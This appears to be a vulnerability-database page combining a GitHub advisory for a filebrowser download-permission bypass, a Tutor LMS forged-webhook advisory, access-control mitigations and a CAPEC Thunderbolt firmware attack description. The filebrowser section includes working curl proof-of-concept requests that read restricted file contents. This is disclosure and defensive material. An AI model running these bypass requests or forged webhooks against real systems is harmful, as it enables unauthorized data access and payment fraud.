GHSA-67CG-CPJ7-QGC9
Vulnerability from github – Published: 2026-04-08 00:05 – Updated: 2026-04-08 00:05Summary
The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:
file, err := files.NewFileInfo(&files.FileOptions{
...
Content: true, // Always loads text content, no permission check
})
Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.
Compare with the three protected endpoints:
// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false
# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')
# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)
# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2
# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"
Impact
A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.
This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.
Suggested Fix
Match the existing endpoint behavior (HTTP 202 for denied downloads):
Content: d.user.Perm.Download, // Only load content when permitted
And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:
if !d.user.Perm.Download {
return http.StatusAccepted, nil
}
Update: Fix submitted as PR #5891.

Vulnerability from github – Published: 2025-10-25 06:30 – Updated: 2025-10-25 06:30The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check while verifying webhook signatures on the "verifyAndCreateOrderData" function
in all versions up to, and including, 3.8.3. This makes it possible for unauthenticated attackers to bypass payment verification and mark orders as paid by submitting forged webhook requests with payment_type set to 'recurring'.

Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
